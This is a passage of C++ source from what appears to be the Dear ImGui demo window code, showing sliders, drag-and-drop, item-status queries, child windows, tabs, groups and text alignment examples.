if (ImGui::IsItemActive() || ImGui::IsItemHovered())
ImGui::SetTooltip("%.3f", values[i]);
ImGui::PopStyleColor(4);
ImGui::PopID();
}
ImGui::PopID();
ImGui::SameLine();
ImGui::PushID("set2");
static float values2[4] = { 0.20f, 0.80f, 0.40f, 0.25f };
const int rows = 3;
const ImVec2 small_slider_size(18, (float)(int)((160.0f - (rows - 1) * spacing) / rows));
for (int nx = 0; nx < 4; nx++)
{
if (nx > 0) ImGui::SameLine();
ImGui::BeginGroup();
for (int ny = 0; ny < rows; ny++)
{
ImGui::PushID(nx * rows + ny);
ImGui::VSliderFloat("##v", small_slider_size, &values2[nx], 0.0f, 1.0f, "");
if (ImGui::IsItemActive() || ImGui::IsItemHovered())
ImGui::SetTooltip("%.3f", values2[nx]);
ImGui::PopID();
}
ImGui::EndGroup();
}
ImGui::PopID();
ImGui::SameLine();
ImGui::PushID("set3");
for (int i = 0; i < 4; i++)
{
if (i > 0) ImGui::SameLine();
ImGui::PushID(i);
ImGui::PushStyleVar(ImGuiStyleVar_GrabMinSize, 40);
ImGui::VSliderFloat("##v", ImVec2(40, 160), &values[i], 0.0f, 1.0f, "%.2f\nsec");
ImGui::PopStyleVar();
ImGui::PopID();
}
ImGui::PopID();
ImGui::PopStyleVar();
ImGui::TreePop();
}
if (ImGui::TreeNode("Drag and Drop"))
{
if (ImGui::TreeNode("Drag and drop in standard widgets"))
{
// ColorEdit widgets automatically act as drag source and drag target.
// They are using standardized payload strings IMGUI_PAYLOAD_TYPE_COLOR_3F and IMGUI_PAYLOAD_TYPE_COLOR_4F
// to allow your own widgets to use colors in their drag and drop interaction.
// Also see 'Demo->Widgets->Color/Picker Widgets->Palette' demo.
HelpMarker("You can drag from the colored squares.");
static float col1[3] = { 1.0f, 0.0f, 0.2f };
static float col2[4] = { 0.4f, 0.7f, 0.0f, 0.5f };
ImGui::ColorEdit3("color 1", col1);
ImGui::ColorEdit4("color 2", col2);
ImGui::TreePop();
}
if (ImGui::TreeNode("Drag and drop to copy/swap items"))
{
enum Mode
{
Mode_Copy,
Mode_Move,
Mode_Swap
};
static int mode = 0;
if (ImGui::RadioButton("Copy", mode == Mode_Copy)) { mode = Mode_Copy; } ImGui::SameLine();
if (ImGui::RadioButton("Move", mode == Mode_Move)) { mode = Mode_Move; } ImGui::SameLine();
if (ImGui::RadioButton("Swap", mode == Mode_Swap)) { mode = Mode_Swap; }
static const char* names[9] =
{
"Bobby", "Beatrice", "Betty",
"Brianna", "Barry", "Bernard",
"Bibi", "Blaine", "Bryn"
};
for (int n = 0; n < IM_ARRAYSIZE(names); n++)
{
ImGui::PushID(n);
if ((n % 3) != 0)
ImGui::SameLine();
ImGui::Button(names[n], ImVec2(60, 60));
// Our buttons are both drag sources and drag targets here!
if (ImGui::BeginDragDropSource(ImGuiDragDropFlags_None))
{
// Set payload to carry the index of our item (could be anything)
ImGui::SetDragDropPayload("DND_DEMO_CELL", &n, sizeof(int));
// Display preview (could be anything, e.g. when dragging an image we could decide to display
// the filename and a small preview of the image, etc.)
if (mode == Mode_Copy) { ImGui::Text("Copy %s", names[n]); }
if (mode == Mode_Move) { ImGui::Text("Move %s", names[n]); }
if (mode == Mode_Swap) { ImGui::Text("Swap %s", names[n]); }
ImGui::EndDragDropSource();
}
if (ImGui::BeginDragDropTarget())
{
if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload("DND_DEMO_CELL"))
{
IM_ASSERT(payload->DataSize == sizeof(int));
int payload_n = *(const int*)payload->Data;
if (mode == Mode_Copy)
{
names[n] = names[payload_n];
}
if (mode == Mode_Move)
{
names[n] = names[payload_n];
names[payload_n] = "";
}
if (mode == Mode_Swap)
{
const char* tmp = names[n];
names[n] = names[payload_n];
names[payload_n] = tmp;
}
}
ImGui::EndDragDropTarget();
}
ImGui::PopID();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Drag to reorder items (simple)"))
{
// Simple reordering
HelpMarker(
"We don't use the drag and drop api at all here! "
"Instead we query when the item is held but not hovered, and order items accordingly.");
static const char* item_names[] = { "Item One", "Item Two", "Item Three", "Item Four", "Item Five" };
for (int n = 0; n < IM_ARRAYSIZE(item_names); n++)
{
const char* item = item_names[n];
ImGui::Selectable(item);
if (ImGui::IsItemActive() && !ImGui::IsItemHovered())
{
int n_next = n + (ImGui::GetMouseDragDelta(0).y < 0.f ? -1 : 1);
if (n_next >= 0 && n_next < IM_ARRAYSIZE(item_names))
{
item_names[n] = item_names[n_next];
item_names[n_next] = item;
ImGui::ResetMouseDragDelta();
}
}
}
ImGui::TreePop();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Querying Status (Active/Focused/Hovered etc.)"))
{
// Select an item type
const char* item_names[] =
{
"Text", "Button", "Button (w/ repeat)", "Checkbox", "SliderFloat", "InputText", "InputFloat",
"InputFloat3", "ColorEdit4", "MenuItem", "TreeNode", "TreeNode (w/ double-click)", "ListBox"
};
static int item_type = 1;
ImGui::Combo("Item Type", &item_type, item_names, IM_ARRAYSIZE(item_names), IM_ARRAYSIZE(item_names));
ImGui::SameLine();
HelpMarker("Testing how various types of items are interacting with the IsItemXXX functions.");
// Submit selected item item so we can query their status in the code following it.
bool ret = false;
static bool b = false;
static float col4f[4] = { 1.0f, 0.5, 0.0f, 1.0f };
static char str[16] = {};
if (item_type == 0) { ImGui::Text("ITEM: Text"); } // Testing text items with no identifier/interaction
if (item_type == 1) { ret = ImGui::Button("ITEM: Button"); } // Testing button
if (item_type == 2) { ImGui::PushButtonRepeat(true); ret = ImGui::Button("ITEM: Button"); ImGui::PopButtonRepeat(); } // Testing button (with repeater)
if (item_type == 3) { ret = ImGui::Checkbox("ITEM: Checkbox", &b); } // Testing checkbox
if (item_type == 4) { ret = ImGui::SliderFloat("ITEM: SliderFloat", &col4f[0], 0.0f, 1.0f); } // Testing basic item
if (item_type == 5) { ret = ImGui::InputText("ITEM: InputText", &str[0], IM_ARRAYSIZE(str)); } // Testing input text (which handles tabbing)
if (item_type == 6) { ret = ImGui::InputFloat("ITEM: InputFloat", col4f, 1.0f); } // Testing +/- buttons on scalar input
if (item_type == 7) { ret = ImGui::InputFloat3("ITEM: InputFloat3", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged)
if (item_type == 8) { ret = ImGui::ColorEdit4("ITEM: ColorEdit4", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged)
if (item_type == 9) { ret = ImGui::MenuItem("ITEM: MenuItem"); } // Testing menu item (they use ImGuiButtonFlags_PressedOnRelease button policy)
if (item_type == 10) { ret = ImGui::TreeNode("ITEM: TreeNode"); if (ret) ImGui::TreePop(); } // Testing tree node
if (item_type == 11) { ret = ImGui::TreeNodeEx("ITEM: TreeNode w/ ImGuiTreeNodeFlags_OpenOnDoubleClick", ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_NoTreePushOnOpen); } // Testing tree node with ImGuiButtonFlags_PressedOnDoubleClick button policy.
if (item_type == 12) { const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi" }; static int current = 1; ret = ImGui::ListBox("ITEM: ListBox", ¤t, items, IM_ARRAYSIZE(items), IM_ARRAYSIZE(items)); }
// Display the values of IsItemHovered() and other common item state functions.
// Note that the ImGuiHoveredFlags_XXX flags can be combined.
// Because BulletText is an item itself and that would affect the output of IsItemXXX functions,
// we query every state in a single call to avoid storing them and to simplify the code.
ImGui::BulletText(
"Return value = %d\n"
"IsItemFocused() = %d\n"
"IsItemHovered() = %d\n"
"IsItemHovered(_AllowWhenBlockedByPopup) = %d\n"
"IsItemHovered(_AllowWhenBlockedByActiveItem) = %d\n"
"IsItemHovered(_AllowWhenOverlapped) = %d\n"
"IsItemHovered(_RectOnly) = %d\n"
"IsItemActive() = %d\n"
"IsItemEdited() = %d\n"
"IsItemActivated() = %d\n"
"IsItemDeactivated() = %d\n"
"IsItemDeactivatedAfterEdit() = %d\n"
"IsItemVisible() = %d\n"
"IsItemClicked() = %d\n"
"IsItemToggledOpen() = %d\n"
"GetItemRectMin() = (%.1f, %.1f)\n"
"GetItemRectMax() = (%.1f, %.1f)\n"
"GetItemRectSize() = (%.1f, %.1f)",
ret,
ImGui::IsItemFocused(),
ImGui::IsItemHovered(),
ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup),
ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem),
ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenOverlapped),
ImGui::IsItemHovered(ImGuiHoveredFlags_RectOnly),
ImGui::IsItemActive(),
ImGui::IsItemEdited(),
ImGui::IsItemActivated(),
ImGui::IsItemDeactivated(),
ImGui::IsItemDeactivatedAfterEdit(),
ImGui::IsItemVisible(),
ImGui::IsItemClicked(),
ImGui::IsItemToggledOpen(),
ImGui::GetItemRectMin().x, ImGui::GetItemRectMin().y,
ImGui::GetItemRectMax().x, ImGui::GetItemRectMax().y,
ImGui::GetItemRectSize().x, ImGui::GetItemRectSize().y
);
static bool embed_all_inside_a_child_window = false;
ImGui::Checkbox("Embed everything inside a child window (for additional testing)", &embed_all_inside_a_child_window);
if (embed_all_inside_a_child_window)
ImGui::BeginChild("outer_child", ImVec2(0, ImGui::GetFontSize() * 20.0f), true);
// Testing IsWindowFocused() function with its various flags.
// Note that the ImGuiFocusedFlags_XXX flags can be combined.
ImGui::BulletText(
"IsWindowFocused() = %d\n"
"IsWindowFocused(_ChildWindows) = %d\n"
"IsWindowFocused(_ChildWindows|_RootWindow) = %d\n"
"IsWindowFocused(_RootWindow) = %d\n"
"IsWindowFocused(_AnyWindow) = %d\n",
ImGui::IsWindowFocused(),
ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows),
ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows | ImGuiFocusedFlags_RootWindow),
ImGui::IsWindowFocused(ImGuiFocusedFlags_RootWindow),
ImGui::IsWindowFocused(ImGuiFocusedFlags_AnyWindow));
// Testing IsWindowHovered() function with its various flags.
// Note that the ImGuiHoveredFlags_XXX flags can be combined.
ImGui::BulletText(
"IsWindowHovered() = %d\n"
"IsWindowHovered(_AllowWhenBlockedByPopup) = %d\n"
"IsWindowHovered(_AllowWhenBlockedByActiveItem) = %d\n"
"IsWindowHovered(_ChildWindows) = %d\n"
"IsWindowHovered(_ChildWindows|_RootWindow) = %d\n"
"IsWindowHovered(_ChildWindows|_AllowWhenBlockedByPopup) = %d\n"
"IsWindowHovered(_RootWindow) = %d\n"
"IsWindowHovered(_AnyWindow) = %d\n",
ImGui::IsWindowHovered(),
ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup),
ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem),
ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows),
ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_RootWindow),
ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_AllowWhenBlockedByPopup),
ImGui::IsWindowHovered(ImGuiHoveredFlags_RootWindow),
ImGui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow));
ImGui::BeginChild("child", ImVec2(0, 50), true);
ImGui::Text("This is another child window for testing the _ChildWindows flag.");
ImGui::EndChild();
if (embed_all_inside_a_child_window)
ImGui::EndChild();
static char unused_str[] = "This widget is only here to be able to tab-out of the widgets above.";
ImGui::InputText("unused", unused_str, IM_ARRAYSIZE(unused_str), ImGuiInputTextFlags_ReadOnly);
// Calling IsItemHovered() after begin returns the hovered status of the title bar.
// This is useful in particular if you want to create a context menu associated to the title bar of a window.
static bool test_window = false;
ImGui::Checkbox("Hovered/Active tests after Begin() for title bar testing", &test_window);
if (test_window)
{
ImGui::Begin("Title bar Hovered/Active tests", &test_window);
if (ImGui::BeginPopupContextItem()) // <-- This is using IsItemHovered()
{
if (ImGui::MenuItem("Close")) { test_window = false; }
ImGui::EndPopup();
}
ImGui::Text(
"IsItemHovered() after begin = %d (== is title bar hovered)\n"
"IsItemActive() after begin = %d (== is window being clicked/moved)\n",
ImGui::IsItemHovered(), ImGui::IsItemActive());
ImGui::End();
}
ImGui::TreePop();
}
}
static void ShowDemoWindowLayout()
{
if (!ImGui::CollapsingHeader("Layout & Scrolling"))
return;
if (ImGui::TreeNode("Child windows"))
{
HelpMarker("Use child windows to begin into a self-contained independent scrolling/clipping regions within a host window.");
static bool disable_mouse_wheel = false;
static bool disable_menu = false;
ImGui::Checkbox("Disable Mouse Wheel", &disable_mouse_wheel);
ImGui::Checkbox("Disable Menu", &disable_menu);
// Child 1: no border, enable horizontal scrollbar
{
ImGuiWindowFlags window_flags = ImGuiWindowFlags_HorizontalScrollbar;
if (disable_mouse_wheel)
window_flags |= ImGuiWindowFlags_NoScrollWithMouse;
ImGui::BeginChild("ChildL", ImVec2(ImGui::GetWindowContentRegionWidth() * 0.5f, 260), false, window_flags);
for (int i = 0; i < 100; i++)
ImGui::Text("%04d: scrollable region", i);
ImGui::EndChild();
}
ImGui::SameLine();
// Child 2: rounded border
{
ImGuiWindowFlags window_flags = ImGuiWindowFlags_None;
if (disable_mouse_wheel)
window_flags |= ImGuiWindowFlags_NoScrollWithMouse;
if (!disable_menu)
window_flags |= ImGuiWindowFlags_MenuBar;
ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f);
ImGui::BeginChild("ChildR", ImVec2(0, 260), true, window_flags);
if (!disable_menu && ImGui::BeginMenuBar())
{
if (ImGui::BeginMenu("Menu"))
{
ShowExampleMenuFile();
ImGui::EndMenu();
}
ImGui::EndMenuBar();
}
ImGui::Columns(2);
for (int i = 0; i < 100; i++)
{
char buf[32];
sprintf(buf, "%03d", i);
ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f));
ImGui::NextColumn();
}
ImGui::EndChild();
ImGui::PopStyleVar();
}
ImGui::Separator();
// Demonstrate a few extra things
// - Changing ImGuiCol_ChildBg (which is transparent black in default styles)
// - Using SetCursorPos() to position child window (the child window is an item from the POV of parent window)
// You can also call SetNextWindowPos() to position the child window. The parent window will effectively
// layout from this position.
// - Using ImGui::GetItemRectMin/Max() to query the "item" state (because the child window is an item from
// the POV of the parent window). See 'Demo->Querying Status (Active/Focused/Hovered etc.)' for details.
{
static int offset_x = 0;
ImGui::SetNextItemWidth(100);
ImGui::DragInt("Offset X", &offset_x, 1.0f, -1000, 1000);
ImGui::SetCursorPosX(ImGui::GetCursorPosX() + (float)offset_x);
ImGui::PushStyleColor(ImGuiCol_ChildBg, IM_COL32(255, 0, 0, 100));
ImGui::BeginChild("Red", ImVec2(200, 100), true, ImGuiWindowFlags_None);
for (int n = 0; n < 50; n++)
ImGui::Text("Some test %d", n);
ImGui::EndChild();
bool child_is_hovered = ImGui::IsItemHovered();
ImVec2 child_rect_min = ImGui::GetItemRectMin();
ImVec2 child_rect_max = ImGui::GetItemRectMax();
ImGui::PopStyleColor();
ImGui::Text("Hovered: %d", child_is_hovered);
ImGui::Text("Rect of child window is: (%.0f,%.0f) (%.0f,%.0f)", child_rect_min.x, child_rect_min.y, child_rect_max.x, child_rect_max.y);
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Widgets Width"))
{
// Use SetNextItemWidth() to set the width of a single upcoming item.
// Use PushItemWidth()/PopItemWidth() to set the width of a group of items.
// In real code use you'll probably want to choose width values that are proportional to your font size
// e.g. Using '20.0f * GetFontSize()' as width instead of '200.0f', etc.
static float f = 0.0f;
ImGui::Text("SetNextItemWidth/PushItemWidth(100)");
ImGui::SameLine(); HelpMarker("Fixed width.");
ImGui::SetNextItemWidth(100);
ImGui::DragFloat("float##1", &f);
ImGui::Text("SetNextItemWidth/PushItemWidth(GetWindowWidth() * 0.5f)");
ImGui::SameLine(); HelpMarker("Half of window width.");
ImGui::SetNextItemWidth(ImGui::GetWindowWidth() * 0.5f);
ImGui::DragFloat("float##2", &f);
ImGui::Text("SetNextItemWidth/PushItemWidth(GetContentRegionAvail().x * 0.5f)");
ImGui::SameLine(); HelpMarker("Half of available width.\n(~ right-cursor_pos)\n(works within a column set)");
ImGui::SetNextItemWidth(ImGui::GetContentRegionAvail().x * 0.5f);
ImGui::DragFloat("float##3", &f);
ImGui::Text("SetNextItemWidth/PushItemWidth(-100)");
ImGui::SameLine(); HelpMarker("Align to right edge minus 100");
ImGui::SetNextItemWidth(-100);
ImGui::DragFloat("float##4", &f);
// Demonstrate using PushItemWidth to surround three items.
// Calling SetNextItemWidth() before each of them would have the same effect.
ImGui::Text("SetNextItemWidth/PushItemWidth(-1)");
ImGui::SameLine(); HelpMarker("Align to right edge");
ImGui::PushItemWidth(-1);
ImGui::DragFloat("##float5a", &f);
ImGui::DragFloat("##float5b", &f);
ImGui::DragFloat("##float5c", &f);
ImGui::PopItemWidth();
ImGui::TreePop();
}
if (ImGui::TreeNode("Basic Horizontal Layout"))
{
ImGui::TextWrapped("(Use ImGui::SameLine() to keep adding items to the right of the preceding item)");
// Text
ImGui::Text("Two items: Hello"); ImGui::SameLine();
ImGui::TextColored(ImVec4(1, 1, 0, 1), "Sailor");
// Adjust spacing
ImGui::Text("More spacing: Hello"); ImGui::SameLine(0, 20);
ImGui::TextColored(ImVec4(1, 1, 0, 1), "Sailor");
// Button
ImGui::AlignTextToFramePadding();
ImGui::Text("Normal buttons"); ImGui::SameLine();
ImGui::Button("Banana"); ImGui::SameLine();
ImGui::Button("Apple"); ImGui::SameLine();
ImGui::Button("Corniflower");
// Button
ImGui::Text("Small buttons"); ImGui::SameLine();
ImGui::SmallButton("Like this one"); ImGui::SameLine();
ImGui::Text("can fit within a text block.");
// Aligned to arbitrary position. Easy/cheap column.
ImGui::Text("Aligned");
ImGui::SameLine(150); ImGui::Text("x=150");
ImGui::SameLine(300); ImGui::Text("x=300");
ImGui::Text("Aligned");
ImGui::SameLine(150); ImGui::SmallButton("x=150");
ImGui::SameLine(300); ImGui::SmallButton("x=300");
// Checkbox
static bool c1 = false, c2 = false, c3 = false, c4 = false;
ImGui::Checkbox("My", &c1); ImGui::SameLine();
ImGui::Checkbox("Tailor", &c2); ImGui::SameLine();
ImGui::Checkbox("Is", &c3); ImGui::SameLine();
ImGui::Checkbox("Rich", &c4);
// Various
static float f0 = 1.0f, f1 = 2.0f, f2 = 3.0f;
ImGui::PushItemWidth(80);
const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD" };
static int item = -1;
ImGui::Combo("Combo", &item, items, IM_ARRAYSIZE(items)); ImGui::SameLine();
ImGui::SliderFloat("X", &f0, 0.0f, 5.0f); ImGui::SameLine();
ImGui::SliderFloat("Y", &f1, 0.0f, 5.0f); ImGui::SameLine();
ImGui::SliderFloat("Z", &f2, 0.0f, 5.0f);
ImGui::PopItemWidth();
ImGui::PushItemWidth(80);
ImGui::Text("Lists:");
static int selection[4] = { 0, 1, 2, 3 };
for (int i = 0; i < 4; i++)
{
if (i > 0) ImGui::SameLine();
ImGui::PushID(i);
ImGui::ListBox("", &selection[i], items, IM_ARRAYSIZE(items));
ImGui::PopID();
//if (ImGui::IsItemHovered()) ImGui::SetTooltip("ListBox %d hovered", i);
}
ImGui::PopItemWidth();
// Dummy
ImVec2 button_sz(40, 40);
ImGui::Button("A", button_sz); ImGui::SameLine();
ImGui::Dummy(button_sz); ImGui::SameLine();
ImGui::Button("B", button_sz);
// Manually wrapping
// (we should eventually provide this as an automatic layout feature, but for now you can do it manually)
ImGui::Text("Manually wrapping:");
ImGuiStyle& style = ImGui::GetStyle();
int buttons_count = 20;
float window_visible_x2 = ImGui::GetWindowPos().x + ImGui::GetWindowContentRegionMax().x;
for (int n = 0; n < buttons_count; n++)
{
ImGui::PushID(n);
ImGui::Button("Box", button_sz);
float last_button_x2 = ImGui::GetItemRectMax().x;
float next_button_x2 = last_button_x2 + style.ItemSpacing.x + button_sz.x; // Expected position if next button was on same line
if (n + 1 < buttons_count && next_button_x2 < window_visible_x2)
ImGui::SameLine();
ImGui::PopID();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Tabs"))
{
if (ImGui::TreeNode("Basic"))
{
ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_None;
if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags))
{
if (ImGui::BeginTabItem("Avocado"))
{
ImGui::Text("This is the Avocado tab!\nblah blah blah blah blah");
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Broccoli"))
{
ImGui::Text("This is the Broccoli tab!\nblah blah blah blah blah");
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Cucumber"))
{
ImGui::Text("This is the Cucumber tab!\nblah blah blah blah blah");
ImGui::EndTabItem();
}
ImGui::EndTabBar();
}
ImGui::Separator();
ImGui::TreePop();
}
if (ImGui::TreeNode("Advanced & Close Button"))
{
// Expose a couple of the available flags. In most cases you may just call BeginTabBar() with no flags (0).
static ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_Reorderable;
ImGui::CheckboxFlags("ImGuiTabBarFlags_Reorderable", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_Reorderable);
ImGui::CheckboxFlags("ImGuiTabBarFlags_AutoSelectNewTabs", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_AutoSelectNewTabs);
ImGui::CheckboxFlags("ImGuiTabBarFlags_TabListPopupButton", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_TabListPopupButton);
ImGui::CheckboxFlags("ImGuiTabBarFlags_NoCloseWithMiddleMouseButton", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_NoCloseWithMiddleMouseButton);
if ((tab_bar_flags & ImGuiTabBarFlags_FittingPolicyMask_) == 0)
tab_bar_flags |= ImGuiTabBarFlags_FittingPolicyDefault_;
if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyResizeDown", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_FittingPolicyResizeDown))
tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyResizeDown);
if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyScroll", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_FittingPolicyScroll))
tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyScroll);
// Tab Bar
const char* names[4] = { "Artichoke", "Beetroot", "Celery", "Daikon" };
static bool opened[4] = { true, true, true, true }; // Persistent user state
for (int n = 0; n < IM_ARRAYSIZE(opened); n++)
{
if (n > 0) { ImGui::SameLine(); }
ImGui::Checkbox(names[n], &opened[n]);
}
// Passing a bool* to BeginTabItem() is similar to passing one to Begin():
// the underlying bool will be set to false when the tab is closed.
if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags))
{
for (int n = 0; n < IM_ARRAYSIZE(opened); n++)
if (opened[n] && ImGui::BeginTabItem(names[n], &opened[n], ImGuiTabItemFlags_None))
{
ImGui::Text("This is the %s tab!", names[n]);
if (n & 1)
ImGui::Text("I am an odd tab.");
ImGui::EndTabItem();
}
ImGui::EndTabBar();
}
ImGui::Separator();
ImGui::TreePop();
}
if (ImGui::TreeNode("TabItemButton & Leading/Trailing flags"))
{
static ImVector<int> active_tabs;
static int next_tab_id = 0;
if (next_tab_id == 0) // Initialize with some default tabs
for (int i = 0; i < 3; i++)
active_tabs.push_back(next_tab_id++);
// TabItemButton() and Leading/Trailing flags are distinct features which we will demo together.
// (It is possible to submit regular tabs with Leading/Trailing flags, or TabItemButton tabs without Leading/Trailing flags...
// but they tend to make more sense together)
static bool show_leading_button = true;
static bool show_trailing_button = true;
ImGui::Checkbox("Show Leading TabItemButton()", &show_leading_button);
ImGui::Checkbox("Show Trailing TabItemButton()", &show_trailing_button);
// Expose some other flags which are useful to showcase how they interact with Leading/Trailing tabs
static ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_AutoSelectNewTabs | ImGuiTabBarFlags_Reorderable | ImGuiTabBarFlags_FittingPolicyResizeDown;
ImGui::CheckboxFlags("ImGuiTabBarFlags_TabListPopupButton", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_TabListPopupButton);
if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyResizeDown", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_FittingPolicyResizeDown))
tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyResizeDown);
if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyScroll", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_FittingPolicyScroll))
tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyScroll);
if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags))
{
// Demo a Leading TabItemButton(): click the "?" button to open a menu
if (show_leading_button)
if (ImGui::TabItemButton("?", ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_NoTooltip))
ImGui::OpenPopup("MyHelpMenu");
if (ImGui::BeginPopup("MyHelpMenu"))
{
ImGui::Selectable("Hello!");
ImGui::EndPopup();
}
// Demo Trailing Tabs: click the "+" button to add a new tab (in your app you may want to use a font icon instead of the "+")
// Note that we submit it before the regular tabs, but because of the ImGuiTabItemFlags_Trailing flag it will always appear at the end.
if (show_trailing_button)
if (ImGui::TabItemButton("+", ImGuiTabItemFlags_Trailing | ImGuiTabItemFlags_NoTooltip))
active_tabs.push_back(next_tab_id++); // Add new tab
// Submit our regular tabs
for (int n = 0; n < active_tabs.Size; )
{
bool open = true;
char name[16];
snprintf(name, IM_ARRAYSIZE(name), "%04d", active_tabs[n]);
if (ImGui::BeginTabItem(name, &open, ImGuiTabItemFlags_None))
{
ImGui::Text("This is the %s tab!", name);
ImGui::EndTabItem();
}
if (!open)
active_tabs.erase(active_tabs.Data + n);
else
n++;
}
ImGui::EndTabBar();
}
ImGui::Separator();
ImGui::TreePop();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Groups"))
{
HelpMarker(
"BeginGroup() basically locks the horizontal position for new line. "
"EndGroup() bundles the whole group so that you can use \"item\" functions such as "
"IsItemHovered()/IsItemActive() or SameLine() etc. on the whole group.");
ImGui::BeginGroup();
{
ImGui::BeginGroup();
ImGui::Button("AAA");
ImGui::SameLine();
ImGui::Button("BBB");
ImGui::SameLine();
ImGui::BeginGroup();
ImGui::Button("CCC");
ImGui::Button("DDD");
ImGui::EndGroup();
ImGui::SameLine();
ImGui::Button("EEE");
ImGui::EndGroup();
if (ImGui::IsItemHovered())
ImGui::SetTooltip("First group hovered");
}
// Capture the group size and create widgets using the same size
ImVec2 size = ImGui::GetItemRectSize();
const float values[5] = { 0.5f, 0.20f, 0.80f, 0.60f, 0.25f };
ImGui::PlotHistogram("##values", values, IM_ARRAYSIZE(values), 0, NULL, 0.0f, 1.0f, size);
ImGui::Button("ACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x) * 0.5f, size.y));
ImGui::SameLine();
ImGui::Button("REACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x) * 0.5f, size.y));
ImGui::EndGroup();
ImGui::SameLine();
ImGui::Button("LEVERAGE\nBUZZWORD", size);
ImGui::SameLine();
if (ImGui::ListBoxHeader("List", size))
{
ImGui::Selectable("Selected", true);
ImGui::Selectable("Not Selected", false);
ImGui::ListBoxFooter();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Text Baseline Alignment"))
{
{
ImGui::BulletText("Text baseline:");
ImGui::SameLine(); HelpMarker(
"This is testing the vertical alignment that gets applied on text to keep it aligned with widgets. "
"Lines only composed of text or \"small\" widgets use less vertical space than lines with framed widgets.");
ImGui::Indent();
ImGui::Text("KO Blahblah"); ImGui::SameLine();
ImGui::Button("Some framed item"); ImGui::SameLine();
HelpMarker("Baseline of button will look misaligned with text..");
// If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets.
// (because we don't know what's coming after the Text() statement, we need to move the text baseline
// down by FramePadding.y ahead of time)
ImGui::AlignTextToFramePadding();
ImGui::Text("OK Blahblah"); ImGui::SameLine();
ImGui::Button("Some framed item"); ImGui::SameLine();
HelpMarker("We call AlignTextToFramePadding() to vertically align the text baseline by +FramePadding.y");
// SmallButton() uses the same vertical padding as Text
ImGui::Button("TEST##1"); ImGui::SameLine();
ImGui::Text("TEST"); ImGui::SameLine();
ImGui::SmallButton("TEST##2");
// If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets.
ImGui::AlignTextToFramePadding();
ImGui::Text("Text aligned to framed item"); ImGui::SameLine();
ImGui::Button("Item##1"); ImGui::SameLine();
ImGui::Text("Item"); ImGui::SameLine();
ImGui::SmallButton("Item##2"); ImGui::SameLine();
ImGui::Button("Item##3");
ImGui::Unindent();
}
ImGui::Spacing();
{
ImGui::BulletText("Multi-line text:");
ImGui::Indent();
ImGui::Text("One\nTwo\nThree"); ImGui::SameLine();
ImGui::Text("Hello\nWorld"); ImGui::SameLine();
ImGui::Text("Banana");
ImGui::Text("Banana"); ImGui::SameLine();
ImGui::Text("Hello\nWorld"); ImGui::SameLine();
ImGui::Text("One\nTwo\nThree");
ImGui::Button("HOP##1"); ImGui::SameLine();
ImGui::Text("Banana"); ImGui::SameLine();
ImGui::Text("Hello\nWorld"); ImGui::SameLine();
ImGui::Text("Banana");
ImGui::Button("HOP##2"); ImGui::SameLine();
ImGui::Text("Hello\nWorld"); ImGui::SameLine();
ImGui::Text("Banana");
ImGui::Unindent();
}
ImGui::Spacing();
{
ImGui::BulletText("Misc items:");
ImGui::Indent();
